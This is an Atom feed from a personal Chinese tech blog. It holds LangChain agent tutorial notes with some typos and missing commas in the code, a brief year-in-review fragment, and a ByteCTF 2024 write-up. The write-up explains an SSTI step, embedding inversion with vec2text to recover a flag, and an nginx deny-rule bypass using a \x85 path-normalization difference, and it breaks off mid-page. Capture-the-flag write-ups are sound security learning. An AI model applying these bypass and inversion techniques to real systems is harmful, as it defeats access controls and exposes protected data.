<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>C26H52的博客</title>
  
  <subtitle>C26H52的博客</subtitle>
  <link href="https://c26h52.github.io/atom.xml" rel="self"/>
  
  <link href="https://c26h52.github.io/"/>
  <updated>2026-04-20T12:43:22.392Z</updated>
  <id>https://c26h52.github.io/</id>
  
  <author>
    <name>C26H52</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Agent开发学习笔记(1)</title>
    <link href="https://c26h52.github.io/2025/12/25/agent-kai-fa-xue-xi-bi-ji/"/>
    <id>https://c26h52.github.io/2025/12/25/agent-kai-fa-xue-xi-bi-ji/</id>
    <published>2025-12-25T08:03:01.000Z</published>
    <updated>2026-04-20T12:43:22.392Z</updated>
    
    <content type="html"><![CDATA[<p>参考链接：<a href="https://github.com/luochang212/dive-into-langgraph">GitHub - luochang212/dive-into-langgraph: LangGraph 1.0 Tutorial · GitHub</a></p><h1 id="入门"><a href="#入门" class="headerlink" title="入门"></a>入门</h1><p>以langchain框架为例</p><h2 id="环境配置"><a href="#环境配置" class="headerlink" title="环境配置"></a>环境配置</h2><p>在同目录下<code>.env</code>内填入<code>DASHSCOPE_API_KEY</code>后完成环境配置</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> os<span class="token keyword">from</span> dotenv <span class="token keyword">import</span> load_dotenv<span class="token keyword">from</span> langchain_openai <span class="token keyword">import</span> ChatOpenAI<span class="token keyword">from</span> langchain<span class="token punctuation">.</span>agents <span class="token keyword">import</span> create_agent<span class="token keyword">from</span> langchain<span class="token punctuation">.</span>chat_models <span class="token keyword">import</span> init_chat_model_ <span class="token operator">=</span> load_dotenv<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="加载LLM"><a href="#加载LLM" class="headerlink" title="加载LLM"></a>加载LLM</h2><h3 id="ChatOpenAI"><a href="#ChatOpenAI" class="headerlink" title="ChatOpenAI"></a>ChatOpenAI</h3><pre class="line-numbers language-python" data-language="python"><code class="language-python">llm <span class="token operator">=</span> ChatOpenAI<span class="token punctuation">(</span>model <span class="token operator">=</span> <span class="token string">"qwen3-coder-plus"</span>api_key <span class="token operator">=</span> os<span class="token punctuation">.</span>getenv<span class="token punctuation">(</span><span class="token string">"DASHSCOPE_API_KEY"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>base_url <span class="token operator">=</span> os<span class="token punctuation">.</span>getenv<span class="token punctuation">(</span><span class="token string">"DASHSCOPE_BASE_URL"</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="init-chat-model"><a href="#init-chat-model" class="headerlink" title="init_chat_model"></a>init_chat_model</h2><pre class="line-numbers language-python" data-language="python"><code class="language-python">llm <span class="token operator">=</span> init_chat_model<span class="token punctuation">(</span>model <span class="token operator">=</span> <span class="token string">"qwen3-coder-plus"</span><span class="token punctuation">,</span>model_provider <span class="token operator">=</span> <span class="token string">"openai"</span><span class="token punctuation">,</span>api_key <span class="token operator">=</span> os<span class="token punctuation">.</span>getenv<span class="token punctuation">(</span><span class="token string">"DASHSCOPE_API_KEY"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>base_url <span class="token operator">=</span> os<span class="token punctuation">.</span>getenv<span class="token punctuation">(</span><span class="token string">"DASHSCOPE_BASE_URL"</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h1 id="ReAct-Agent"><a href="#ReAct-Agent" class="headerlink" title="ReAct Agent"></a>ReAct Agent</h1><pre class="line-numbers language-python" data-language="python"><code class="language-python">agent <span class="token operator">=</span> create_agent<span class="token punctuation">(</span>model <span class="token operator">=</span> llm<span class="token punctuation">,</span>system_prompt <span class="token operator">=</span> <span class="token string">"You are a helpful assistant"</span><span class="token punctuation">,</span><span class="token punctuation">)</span>response <span class="token operator">=</span> agent<span class="token punctuation">.</span>invoke<span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token string">'messages'</span><span class="token punctuation">:</span> <span class="token string">'你好'</span><span class="token punctuation">}</span><span class="token punctuation">)</span>response<span class="token punctuation">[</span><span class="token string">'messages'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>content<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>输出</p><p><code>'你好呀！✨ 很高兴见到你！今天过得怎么样？希望你度过了愉快的一天。我随时准备好陪你聊天、帮你解决问题，或者就这样轻松愉快地闲聊一会儿。有什么想跟我分享的吗？ 🌟'</code></p><p>可视化</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">agent<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>结果</p><p><img src="https://files.seeusercontent.com/2026/04/12/8ygL/pasted-image-1775974355928.webp" alt="pasted-image-1775974355928.webp"></p><h1 id="工具调用"><a href="#工具调用" class="headerlink" title="工具调用"></a>工具调用</h1><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">def</span> <span class="token function">get_weather</span><span class="token punctuation">(</span>city<span class="token punctuation">:</span> <span class="token builtin">str</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">&gt;</span> <span class="token builtin">str</span><span class="token punctuation">:</span><span class="token keyword">return</span> <span class="token string-interpolation"><span class="token string">f"It's always sunny in </span><span class="token interpolation"><span class="token punctuation">{</span>city<span class="token punctuation">}</span></span><span class="token string">!"</span></span>tool_agent <span class="token operator">=</span> create_agent<span class="token punctuation">(</span>model <span class="token operator">=</span> llm<span class="token punctuation">,</span>tools <span class="token operator">=</span> <span class="token punctuation">[</span>get_weather<span class="token punctuation">]</span><span class="token punctuation">,</span>system_prompt <span class="token operator">=</span> <span class="token string">"You are a helpful assistant"</span><span class="token punctuation">,</span><span class="token punctuation">)</span>response <span class="token operator">=</span> tool_agent<span class="token punctuation">.</span>invoke<span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token string">"messages"</span><span class="token punctuation">:</span> <span class="token punctuation">[</span><span class="token punctuation">{</span><span class="token string">"role"</span><span class="token punctuation">:</span> <span class="token string">"user"</span><span class="token punctuation">,</span><span class="token string">"content"</span><span class="token punctuation">:</span> <span class="token string">"what is the weather like in sf"</span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token punctuation">}</span><span class="token punctuation">)</span>response<span class="token punctuation">[</span><span class="token string">'messages'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>content<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>输出<code>'The current weather in San Francisco is sunny!'</code></p><p>可视化</p><pre class="line-numbers language-none"><code class="language-none">tool-agent<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>结果</p><p><img src="https://files.seeusercontent.com/2026/04/15/sEb4/pasted-image-1776258332493.webp" alt="pasted-image-1776258332493.webp"></p><p>这里<strong>llm根据用户输入的<code>sf</code>推断出<code>get_weather</code>的传入值<code>city</code>为<code>San Francisco</code>，再根据工具返回的原始文本<code>"It's always sunny in San Francisco!"</code>整理成最终回复</strong></p><h2 id="ToolRuntime"><a href="#ToolRuntime" class="headerlink" title="ToolRuntime"></a>ToolRuntime</h2><p><code>ToolRuntime</code>用户判断工具调用是否具备权限</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> typing <span class="token keyword">import</span> Literal<span class="token punctuation">,</span> Any<span class="token keyword">from</span> pydantic <span class="token keyword">import</span> BaseModel<span class="token keyword">from</span> langchain<span class="token punctuation">.</span>tools <span class="token keyword">import</span> tool<span class="token punctuation">,</span> ToolRuntime<span class="token keyword">class</span> <span class="token class-name">Context</span><span class="token punctuation">(</span>BaseModel<span class="token punctuation">)</span><span class="token punctuation">:</span>authority<span class="token punctuation">:</span> Literal<span class="token punctuation">[</span><span class="token string">"admin"</span><span class="token punctuation">,</span> <span class="token string">"user"</span><span class="token punctuation">]</span><span class="token decorator annotation punctuation">@tool</span><span class="token keyword">def</span> <span class="token function">math_add</span><span class="token punctuation">(</span>runtime<span class="token punctuation">:</span> ToolRuntime<span class="token punctuation">[</span>Context<span class="token punctuation">,</span> Any<span class="token punctuation">]</span><span class="token punctuation">,</span> a<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">,</span> b<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">)</span>authority <span class="token operator">=</span> runtime<span class="token punctuation">.</span>context<span class="token punctuation">.</span>authority<span class="token keyword">if</span> authority <span class="token operator">!=</span> <span class="token string">"admin"</span><span class="token punctuation">:</span><span class="token keyword">raise</span> PermissionError<span class="token punctuation">(</span><span class="token string">"User does not have permission to add numbers"</span><span class="token punctuation">)</span><span class="token keyword">return</span> a <span class="token operator">+</span> btool_agent <span class="token operator">=</span> create_agent<span class="token punctuation">(</span>model <span class="token operator">=</span> llm<span class="token punctuation">,</span>tools <span class="token operator">=</span> <span class="token punctuation">[</span>get_weather<span class="token punctuation">,</span> math_add<span class="token punctuation">]</span><span class="token punctuation">,</span>system_prompt <span class="token operator">=</span> <span class="token string">"You are a helpful assistant"</span><span class="token punctuation">,</span><span class="token punctuation">)</span>response <span class="token operator">=</span> tool_agent<span class="token punctuation">.</span>invoke<span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token string">"messages"</span><span class="token punctuation">:</span> <span class="token punctuation">[</span><span class="token punctuation">{</span><span class="token string">"role"</span><span class="token punctuation">:</span> <span class="token punctuation">{</span><span class="token string">"user"</span><span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token string">"content"</span><span class="token punctuation">:</span> <span class="token string">"请计算 8234783 + 94123832 = ?"</span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token punctuation">}</span><span class="token punctuation">,</span>config <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token string">"configurable"</span><span class="token punctuation">:</span> <span class="token punctuation">{</span><span class="token string">"thread_id"</span><span class="token punctuation">:</span> <span class="token string">"1"</span><span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token punctuation">,</span>context <span class="token operator">=</span> Context<span class="token punctuation">(</span>authority <span class="token operator">=</span> <span class="token string">"admin"</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token punctuation">)</span><span class="token keyword">for</span> message <span class="token keyword">in</span> resopnse<span class="token punctuation">[</span><span class="token string">'messages'</span><span class="token punctuation">]</span><span class="token punctuation">:</span>    message<span class="token punctuation">.</span>pretty_print<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>输出结果</p><pre class="line-numbers language-none"><code class="language-none">================================ Human Message =================================请计算 8234783 + 94123832 = ?================================== Ai Message ==================================Tool Calls:  math_add (call_3ec7a09517794bc685109bf6) Call ID: call_3ec7a09517794bc685109bf6  Args:    a: 8234783    b: 94123832================================= Tool Message =================================Name: math_add102358615================================== Ai Message ==================================8234783 + 94123832 = 102358615。<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><code>authority: Literal["admin", "user"]</code>的作用是<strong>将<code>authority</code>参数的值限制为<code>admin</code>或<code>user</code>，参数取值的合法性由<code>pydantic</code>校验</strong></p><p><code>runtime: ToolRuntime[Context, Any]</code>的作用是<strong>告诉框架<code>runtime.context</code>会是一个<code>Context</code>对象</strong><!--（其实可以删去Any）--></p><h2 id="结构化输出"><a href="#结构化输出" class="headerlink" title="结构化输出"></a>结构化输出</h2><p><code>response_format</code>用于指定输出格式</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pydantic <span class="token keyword">import</span> BaseModel<span class="token punctuation">,</span> Field<span class="token keyword">class</span> <span class="token class-name">CalcInfo</span><span class="token punctuation">(</span>BaseModel<span class="token punctuation">)</span><span class="token punctuation">:</span>output<span class="token punctuation">:</span> <span class="token builtin">int</span> <span class="token operator">=</span> Field<span class="token punctuation">(</span>description <span class="token operator">=</span> <span class="token string">"The calculation result"</span><span class="token punctuation">)</span>structured_agent <span class="token operator">=</span> create_agent<span class="token punctuation">(</span>model <span class="token operator">=</span> llm<span class="token punctuation">,</span>tools <span class="token operator">=</span> <span class="token punctuation">[</span>get_weather<span class="token punctuation">,</span> math_add<span class="token punctuation">]</span>system_prompt <span class="token operator">=</span> <span class="token string">"You are a helpful assistant"</span>response_format <span class="token operator">=</span> CalcInfo<span class="token punctuation">,</span><span class="token punctuation">)</span>response <span class="token operator">=</span> structured_agent<span class="token punctuation">.</span>invoke<span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token string">"messages"</span><span class="token punctuation">:</span> <span class="token punctuation">[</span><span class="token punctuation">{</span><span class="token string">"role"</span><span class="token punctuation">:</span> <span class="token string">"user"</span><span class="token punctuation">,</span> <span class="token string">"content"</span><span class="token punctuation">:</span> <span class="token string">"请计算 8234783 + 94123832 = ?"</span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token punctuation">}</span><span class="token punctuation">,</span>config <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token string">"configurable"</span><span class="token punctuation">:</span> <span class="token punctuation">{</span><span class="token string">"thread_id"</span><span class="token punctuation">:</span> <span class="token string">"1"</span><span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token punctuation">,</span>context <span class="token operator">=</span> Context<span class="token punctuation">(</span>authority <span class="token operator">=</span> <span class="token string">"admin"</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token punctuation">)</span><span class="token keyword">for</span> message <span class="token keyword">in</span> response<span class="token punctuation">[</span><span class="token string">'messages'</span><span class="token punctuation">]</span><span class="token punctuation">:</span>    message<span class="token punctuation">.</span>pretty_print<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>输出</p><pre class="line-numbers language-none"><code class="language-none">================================ Human Message =================================请计算 8234783 + 94123832 = ?================================== Ai Message ==================================Tool Calls:  math_add (call_00d4ba805bfc40a38fef6c9b) Call ID: call_00d4ba805bfc40a38fef6c9b  Args:    a: 8234783    b: 94123832================================= Tool Message =================================Name: math_add102358615================================== Ai Message ==================================Tool Calls:  CalcInfo (call_ea136e28c9dd443ca9c1399a) Call ID: call_ea136e28c9dd443ca9c1399a  Args:    output: 102358615================================= Tool Message =================================Name: CalcInfoReturning structured response: output=102358615<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>语句<code>response['structured_response']</code>的输出为<code>CalcInfo(output=102358615)</code></p><p><code>response_format=CalcInfo</code>规定了返回结构，而模型<strong>读取字段名<code>output</code>和字段描述<code>The calculation result</code>推测出了输出内容大致是把计算结果放入output字段中</strong></p><h2 id="流式输出"><a href="#流式输出" class="headerlink" title="流式输出"></a>流式输出</h2><p><strong>用<code>agent.stream</code></strong>而不是<code>agent.invoke</code></p><pre class="line-numbers language-python" data-language="python"><code class="language-python">agent <span class="token operator">=</span> create_agent<span class="token punctuation">(</span>model <span class="token operator">=</span> llm<span class="token punctuation">,</span>tools <span class="token operator">=</span> <span class="token punctuation">[</span>get_weather<span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token punctuation">)</span><span class="token keyword">for</span> chunk <span class="token keyword">in</span> agent<span class="token punctuation">.</span>stream<span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token string">"messages"</span><span class="token punctuation">:</span> <span class="token punctuation">[</span><span class="token punctuation">{</span><span class="token string">"role"</span><span class="token punctuation">:</span> <span class="token string">"user"</span><span class="token punctuation">,</span> <span class="token string">"content"</span><span class="token punctuation">:</span> <span class="token string">"What is the weather in SF?"</span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token punctuation">,</span>stream_mode <span class="token operator">=</span> <span class="token string">"updates"</span><span class="token punctuation">,</span><span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token keyword">for</span> step<span class="token punctuation">,</span> data <span class="token keyword">in</span> chunk<span class="token punctuation">.</span>items<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token keyword">print</span><span class="token punctuation">(</span>f"step<span class="token punctuation">:</span> <span class="token punctuation">{</span>step<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"content: </span><span class="token interpolation"><span class="token punctuation">{</span>data<span class="token punctuation">[</span><span class="token string">'messages'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>content_blocks<span class="token punctuation">}</span></span><span class="token string">"</span></span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>输出</p><pre class="line-numbers language-none"><code class="language-none">step: modelcontent: [{'type': 'tool_call', 'name': 'get_weather', 'args': {'city': 'SF'}, 'id': 'call_fdce892f823d4b7c991aefac'}]step: toolscontent: [{'type': 'text', 'text': "It's always sunny in SF!"}]step: modelcontent: [{'type': 'text', 'text': "It seems like there might be some confusion. While San Francisco (SF) is known for its microclimates and can have varying weather, it's not always sunny. The weather can range from foggy and cool to partly cloudy or sunny, especially during different times of the year.\n\nWould you like me to check the current weather conditions in San Francisco for you?"}]<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以理解为</p><ol><li>模型传入参数<code>city:SF</code>并调用工具<code>get_weather</code></li><li>工具返回<code>It's always sunny in SF!</code></li><li>模型基于工具返回和自身思考，返回<code>It seems like there might be some confusion. While San Francisco (SF) is known for its microclimates and can have varying weather, it's not always sunny. The weather can range from foggy and cool to partly cloudy or sunny, especially during different times of the year.\n\nWould you like me to check the current weather conditions in San Francisco for you?</code></li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;参考链接：&lt;a href=&quot;https://github.com/luochang212/dive-into-langgraph&quot;&gt;GitHub - luochang212/dive-into-langgraph: LangGraph 1.0 Tutorial · GitH</summary>
      
    
    
    
    <category term="开发" scheme="https://c26h52.github.io/categories/%E5%BC%80%E5%8F%91/"/>
    
    
    <category term="Agent开发入门" scheme="https://c26h52.github.io/tags/Agent%E5%BC%80%E5%8F%91%E5%85%A5%E9%97%A8/"/>
    
  </entry>
  
  <entry>
    <title>2024年度总结</title>
    <link href="https://c26h52.github.io/2025/01/29/2024-nian-du-zong-jie/"/>
    <id>https://c26h52.github.io/2025/01/29/2024-nian-du-zong-jie/</id>
    <published>2025-01-28T20:37:11.000Z</published>
    <updated>2025-01-28T20:45:37.003Z</updated>
    
    <content type="html"><![CDATA[<p>2024这一年都经历了些什么呢？</p><p>1.1 新的一年的头一天和朋友在天津通宵，唱完K以后步行到火车站，在一座桥上点燃仙女棒并合了个影。印象最深的</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;2024这一年都经历了些什么呢？&lt;/p&gt;
&lt;p&gt;1.1 新的一年的头一天和朋友在天津通宵，唱完K以后步行到火车站，在一座桥上点燃仙女棒并合了个影。印象最深的&lt;/p&gt;
</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>2024ByteCTF</title>
    <link href="https://c26h52.github.io/2024/09/22/2024bytectf/"/>
    <id>https://c26h52.github.io/2024/09/22/2024bytectf/</id>
    <published>2024-09-22T06:30:13.000Z</published>
    <updated>2024-10-10T16:39:42.584Z</updated>
    
    <content type="html"><![CDATA[<h1 id="ByteCTF2024"><a href="#ByteCTF2024" class="headerlink" title="ByteCTF2024"></a>ByteCTF2024</h1><h2 id="AI"><a href="#AI" class="headerlink" title="AI"></a>AI</h2><h3 id="ezai"><a href="#ezai" class="headerlink" title="ezai"></a>ezai</h3><p>前面是pwntools交互和prompt+jinja2渲染ssti，提权后拿到embedding.json，要从embedding还原回flag明文，一开始考虑爆破flag内容并和embedding余弦相似度进行比较，在当前位相似度最高的字符串下爆破下一位直到爆破出flag为止，类似这样：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> volcenginesdkarkruntime <span class="token keyword">import</span> Ark<span class="token keyword">import</span> numpy <span class="token keyword">as</span> npembedding <span class="token operator">=</span> np<span class="token punctuation">.</span>array<span class="token punctuation">(</span>embedding<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">cosine_similarity</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> b<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">return</span> np<span class="token punctuation">.</span>dot<span class="token punctuation">(</span>a<span class="token punctuation">,</span> b<span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token punctuation">(</span>np<span class="token punctuation">.</span>linalg<span class="token punctuation">.</span>norm<span class="token punctuation">(</span>a<span class="token punctuation">)</span> <span class="token operator">*</span> np<span class="token punctuation">.</span>linalg<span class="token punctuation">.</span>norm<span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">)</span>client <span class="token operator">=</span> Ark<span class="token punctuation">(</span>    base_url<span class="token operator">=</span><span class="token string">"https://ark.cn-beijing.volces.com/api/v3"</span><span class="token punctuation">,</span>    api_key<span class="token operator">=</span><span class="token string">"********-****-****-****-************"</span><span class="token punctuation">,</span><span class="token punctuation">)</span>resp <span class="token operator">=</span> client<span class="token punctuation">.</span>embeddings<span class="token punctuation">.</span>create<span class="token punctuation">(</span>    model<span class="token operator">=</span><span class="token string">"ep-20240922020210-sxwcc"</span><span class="token punctuation">,</span>    <span class="token comment"># input=["ByteCTF{e039ffec-7edc-43cd-be59-352806c79ce1}"] 0.050100186655420036 0.03980661484708277</span>    <span class="token builtin">input</span><span class="token operator">=</span><span class="token punctuation">[</span><span class="token string">"ByteCTF{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}"</span><span class="token punctuation">]</span> <span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">sliced_norm_l2</span><span class="token punctuation">(</span>vec<span class="token punctuation">,</span> dim<span class="token operator">=</span><span class="token number">2048</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token comment"># dim 取值 512,1024,2048</span>    norm <span class="token operator">=</span> <span class="token builtin">float</span><span class="token punctuation">(</span>np<span class="token punctuation">.</span>linalg<span class="token punctuation">.</span>norm<span class="token punctuation">(</span>vec<span class="token punctuation">[</span><span class="token punctuation">:</span>dim<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">return</span> <span class="token punctuation">[</span>v <span class="token operator">/</span> norm <span class="token keyword">for</span> v <span class="token keyword">in</span> vec<span class="token punctuation">[</span><span class="token punctuation">:</span>dim<span class="token punctuation">]</span><span class="token punctuation">]</span>result <span class="token operator">=</span> np<span class="token punctuation">.</span>array<span class="token punctuation">(</span>resp<span class="token punctuation">.</span>data<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>embedding<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>cosine_similarity<span class="token punctuation">(</span>embedding<span class="token punctuation">,</span> sliced_norm_l2<span class="token punctuation">(</span>result<span class="token punctuation">,</span> <span class="token number">768</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>但是发现这个逻辑并不成立（比如Byte并不一定是Byt_爆破所有字符的结果中与embedding余弦相似度最近的一个），然后考虑<strong>vec2text</strong>，地址<a href="https://github.com/jxmorris12/vec2text">jxmorris12/vec2text：用于将深度表示（如句子嵌入）解码回文本的实用程序 —- jxmorris12/vec2text: utilities for decoding deep representations (like sentence embeddings) back to text (github.com)</a>，但vec2text支持的非原创模型只有openai的text-embedding-ada-002和gtr-base，text-embedding-ada-002的embedding是1536维的，gtr-base的是768维的，刚好与embedding.json所给embedding维数一样，于是</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> vec2text<span class="token keyword">import</span> torchcorrector <span class="token operator">=</span> vec2text<span class="token punctuation">.</span>load_pretrained_corrector<span class="token punctuation">(</span><span class="token string">"gtr-base"</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>vec2text<span class="token punctuation">.</span>invert_embeddings<span class="token punctuation">(</span>    embeddings<span class="token operator">=</span>torch<span class="token punctuation">.</span>tensor<span class="token punctuation">(</span>embedding<span class="token punctuation">)</span><span class="token punctuation">,</span>    corrector<span class="token operator">=</span>corrector<span class="token punctuation">,</span>    num_steps<span class="token operator">=</span><span class="token number">20</span><span class="token punctuation">,</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>得到flag</p><h2 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h2><h3 id="ezoldbuddy"><a href="#ezoldbuddy" class="headerlink" title="ezoldbuddy"></a>ezoldbuddy</h3><p>一个纯前端登录界面，爆破不了，没有任何跳转</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token comment">&lt;!-- &lt;div style="margin-top: 10px; text-align: center;"&gt;     &lt;a href="shopbytedancesdhjkf"&gt;Shop Bytedance&lt;/a&gt; &lt;/div&gt; --&gt;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>源码泄露路由/shopbytedancesdhjkf但是访问403，hint给出<strong>解析差异绕过</strong>，如<a href="https://xz.aliyun.com/t/14966?time__1311=GqAh0KAIwGCD%2FD0lD2DUxYT4k52qaqcepD&amp;u_atoken=2a29f27dab2510ca7cc76a441ef9d144&amp;u_asig=1a0c384917274573640875475e0034">nginx deny限制路径绕过 - 先知社区 (aliyun.com)</a>所说，即为了防止绕过，nginx 在检查路径之前会执行路径规范化。但如果后端服务器执行不同的规范化（移除 nginx 不移除的字符），则可能绕过此防御。</p><p>nginx+flask可用\x85进行解析差异绕过，于是以GET方式请求/shopbytedancesdhjkf\x85（上CyberChef或者python hex解码都能得到\x85对应字符），成功访问</p><p><img src="https://s2.loli.net/2024/09/22/n18ZzQdRjrHhI5u.png" alt="image.png"></p><p>（一开始不知道为啥是flask，后来官方wp给出如果以GET方式请求/admin\x85会暴露django框架）</p><p>进入大采购环节，前端 be like</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup">HTTP/1.1 200 OKServer: nginxDate: Sat, 21 Sep 2024 12:18:19 GMTContent-Type: text/html; charset=utf-8Content-Length: 6319Connection: close<span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">html</span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span> <span class="token attr-name">lang</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>en<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">&gt;</span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">charset</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>UTF-8<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>viewport<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>width=device-width, initial-scale=1.0<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">&gt;</span></span>Checkout Page<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">&gt;</span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>link</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://fonts.googleapis.com/css2?family=Roboto:wght@400;700&amp;display=swap<span class="token 